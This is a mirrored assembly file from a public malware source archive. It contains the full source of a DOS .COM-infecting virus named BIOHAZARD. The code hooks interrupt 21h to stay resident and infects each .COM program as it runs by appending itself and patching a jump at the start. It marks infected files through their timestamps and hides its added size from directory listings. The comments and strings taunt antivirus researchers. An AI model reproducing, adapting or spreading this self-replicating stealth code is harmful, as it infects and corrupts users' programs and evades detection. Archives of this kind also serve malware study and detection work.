mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-19 01:46:09 +00:00
318 lines
12 KiB
NASM
318 lines
12 KiB
NASM
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virus segment
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assume cs:virus,ds:virus,es:nothing
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org 100h
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start: db 0E9h,02,00,90h,90h ; Jmp to vstart
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vstart equ $
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call code_start ; call codie_startie
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code_start:
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pop si
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sub si,offset code_start ; so we can use the lea command etc
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jmp code_continue
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db '!BIOHAZARD!' ; Lil' poem (?)
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db 'U Found ME!' ; of mine
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code_continue:
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mov bp,si ; Now, put bp in si instead so bp's used
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jmp load ; Jmp and go resident
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old_21 dd ? ; Old int21 interrupt saved here
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new_21: ; Our own, new one int21
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cmp ax,4b00h ; Is a file being executed
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je exec1 ; If so, damn it! INFECT!
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dir_thang:
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cmp ah,11h ; Find first
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je hide_size ; Use stealth
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cmp ah,12h ; Find next
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je hide_size ; Use stealth
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cmp ax,3030h ; Another copy trying to go resident?
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jne do_old ; If not, do the old int21 thang
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mov bx,3030h ; Show that we're already resident
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do_old: jmp dword ptr cs:[(old_21-vstart)] ; Jmp old int21
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exec1: jmp exec ; Try to infect
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do_dir: jmp dword ptr cs:[(old_21-vstart)] ; See do_old
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ret ; But return back
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hide_size:
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pushf
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push cs
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call do_dir ; get FCB (current)
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cmp al,00h ; Is DIR being used (?)
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jz undocumented_get_FCB ; If so, go on
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jmp dir_error ; If not, get the fuck
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; outa this place man
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undocumented_get_FCB:
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push ax ; push
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push bx ; push
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push es ; push (gaak! no pops)
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mov ah,51h ; get FCB (location)
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int 21h ; figure it out
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mov es,bx ; get FCB (info)
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cmp bx,es:[16h] ; check it
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je fix_it_up ; if so, move on
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jmp not_inf
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fix_it_up:
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mov bx,dx ; fixup
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mov al,[bx] ; some
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push ax ; shit
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mov ah,2fh ; get the DTA
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int 21h ; yeah, you do that
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pop ax ; atlast, pop me babe
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inc al ; check FCB (extended)
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jz add_it ; ok, move on
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jmp normal_fcb ; jmp normal_fcb
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add_it:
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add bx,7h ; yes, add it.. go ahead
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normal_fcb:
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mov ax,es:[bx+17h]
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and ax,1fh
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xor al,01h ; are the file's seconds
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jz go_on_and_do_it_strong ; equal to "2"?
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jmp not_inf ; If so, outa here
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go_on_and_do_it_strong:
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and byte ptr es:[bx+17h],0e0h ; subtract the size
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sub es:[bx+1dh],(vend-vstart) ; how much? (*.*)
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sbb es:[bx+1fh],ax ; yet another stealthed
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not_inf:pop es ; we will..
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pop bx ; we will..
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pop ax ; pop you! pop you!
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dir_error:
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iret ; return to the one who
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; called this thang
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exec:
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push ax ; push the stuff needed
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push bx ; (as normally)
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push cx
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push dx
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push di
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push si
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push ds
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push es
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infect:
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mov ax,3d02h ; Open the file being
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int 21h ; executed do that!
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jc fuckitall ; If error, get the fuck
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; out!
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xchg ax,bx ; or.. mov bx,ax
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push ds ; pusha
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push cs ; push
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pop ds ; pop!
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mov ah,3fh ; Read from file
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mov dx,(buffer-vstart) ; put in our buffer
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mov cx,5h ; how much to read
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int 21h ; do that
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jc fuckitall ; If error, fuck it!
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cmp word ptr cs:[(buffer-vstart)],5A4Dh ; Is it an .EXE?
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je fuckitall ; If so, outa here..
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cmp word ptr cs:[(buffer-vstart)],4D5Ah ; The other form?
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je fuckitall ; (can be MZ or ZM)
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; If so, outa here
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cmp word ptr cs:[(buffer-vstart)+3],9090h ; Ok, is it
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je fuckitall ; infect? If so,
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; outa here
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jmp next ; Move on..
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fuckitall:
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jmp homey2 ; Something screwed,
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; outa dis thang..
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next:
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mov ax,5700h ; Get date/time
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int 21h ; int me baaaabe!
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mov word ptr cs:[(old_time-vstart)],cx ; save time
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mov word ptr cs:[(old_date-vstart)],dx ; save date
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mov ax,4202h ; ftpr to end
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mov cx,0 ; get ftpr (filesize)
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cwd ; or.. xor dx,dx
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int 21h
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jc fuckitall ; if error, fuck it!
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mov cx,ax ; mov cx to ax
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sub cx,3 ; for the jmp
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jmp save_rest_of_len
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db 'BIOHAZARD VIRUS - INV. EVIL ALTER - THE W<><57>$<24>L!'
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save_rest_of_len:
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mov word ptr cs:[(jump_add+1-vstart)],cx ; save jmp length
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mov ah,40h ; write to file
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mov cx,(vend-vstart) ; the virus
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cwd ; from start
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int 21h ; atlast the fun part
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jnc fpointer ; no error(s), go on
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jc homey ; fuck it!
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fpointer:
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mov ax,4200h ; move file pointer
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mov cx,0 ; to the beginning
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cwd
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int 21h
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mov ah,40h ; write the JMP the
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mov cx, 5 ; the file (5 bytes)
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mov dx,(jump_add-vstart) ; offset jump thang
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int 21h
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jc homey ; if error, fuck it!
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mov ax,5701h ; restore old
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mov word ptr cx,cs:[(old_time-vstart)] ; date/time
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mov word ptr dx,cs:[(old_date-vstart)]
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and cl,0e0H ; chance the file's
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inc cl ; seconds to "2" for
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int 21h ; stealth "marker"
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mov ah,3eh ; close thisone
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int 21h
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homey: jmp homey2 ; outa here
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db ' HEY HEY TO ALL A/V LAMERS!! HA!' ; dedication note
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homey2: pop ds ; pop
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pop es ; pop
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pop ds ; pop
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pop si ; pop
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pop di ; pop
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pop dx ; pop
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pop cx ; pop
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pop bx ; pop
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pop ax ; new virus-name
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; popcorn virus?
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jmp dword ptr cs:[(old_21-vstart)] ; heading for old
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; int21
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old_date dw 0 ; date/time
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old_time dw 0 ; saving place
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buffer: db 0cdh,20h,00 ; our lil' buffer
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buffer2 db 0,0 ; plus these two
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jump_add: db 0E9h,00,00,90h,90h; ; what we put instead
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; of org. jmp
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exit2: jmp exit ; get outa here
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load: mov ax,3030h ; Are we already in
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int 21h ; this users memory
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cmp bx,3030h ; well, check it!
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je exit2 ; if so, outa here
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dec_here:
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push cs ; push
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pop ds ; pop
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mov ah,4ah ; req. very much mem
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mov bx,0ffffh ; ret's largest size
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int 21h
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mov ah,4ah ; ok, so now we
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sub bx,(vend-vstart+15)/16+1 ; subtract the size of
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jnc intme ; of our virus. If no
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jmp exit2 ; error go on, else
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; fuck it
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intme:
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int 21h ; int me! int me!
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mov ah,48h
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mov bx,(vend-vstart+15)/16 ; req. last pages
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int 21h ; allocate to the virus
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jnc decme ; no error, go on
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jmp exit2 ; les get outa dis place
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decme:
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dec ax ; oh? a dec, no push/pop
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; how glad i am :)
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push es ; blurk! yet another push
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mov es,ax ; set es to ax
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jmp dos_own ; carry on comrade
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db ' Greets to B-real!/IR ' ; greetings to our
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; latest member, a
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dos_own: ; friend of mine
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mov byte ptr es:[0],'Z' ; this memory will
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mov word ptr es:[1],8 ; have DOS as it's
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; owner
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inc ax ; opposite of dec, eh?
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; yet another new-commer
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lea si,[bp+offset vstart] ; copy to memory
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mov di,0 ; (new block) xor di,di
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jmp copy_rest ; go on
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db ' Well, The W<><57>z is back, and he has an attitude!' ; lil'
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copy_rest:
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mov es,ax ; es as ax
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mov cx,(vend-vstart+5)/2 ; the whole thing
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cld ; bytes, clr direction
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rep movsw
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jmp make_res ; now, make it resident
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db 'Quit reading the code, yes, this is a fucking virus!'; thang
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make_res:
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xor ax,ax ; atlast!
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mov ds,ax ; put all shit to memory
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push ds ; don't push me around :)
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lds ax,ds:[21h*4] ; vectorswapping
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jmp swap_sect ; (manually!)
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db ' Catch me, Dare ya!' ; by Snoop 'n Dre.
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swap_sect:
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mov word ptr es:[old_21-vstart],ax ; where's our old int21
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mov word ptr es:[old_21-vstart+2],ds ; stored? well see here
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pop ds
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mov word ptr ds:[21h*4],(new_21-vstart) ; point to our virus
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mov ds:[21h*4+2],es ; instead of old21
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push cs ; no cmt.
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pop ds ; to much 'bout 'em
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; today, eh? :)
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exit:
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push cs ; no cmt.
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pop es ; see above
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mov cx,5 ; five bytes
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jmp copyback ; keep on moving..
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db ' The W<><57>$<24>L!!!!' ; To the girl i love
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copyback:
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mov si,offset buffer ; copy back org. jmp
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add si,bp ; and run the org. proggy
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jmp movdi_it ; yeah, les do that
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db ' Are you done yet??? ' ; Lisa, the one and only
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movdi_it:
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mov di,100h ; di = 100h
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repne movsb
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jmp lastshit ; atlast, soon the end
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db ' Fuck this, Later C:!!! ' ; Love in eternality!
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lastshit:
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mov bp,100h ; bp equ 100h
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jmp bp ; jmp to bp (SOF)
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vend equ $ ; end of virus
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COUNT_ dw 0
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CNTR db 2 ; dRIVE TO NUKE FROM (c:+++)
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virus ends
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end start
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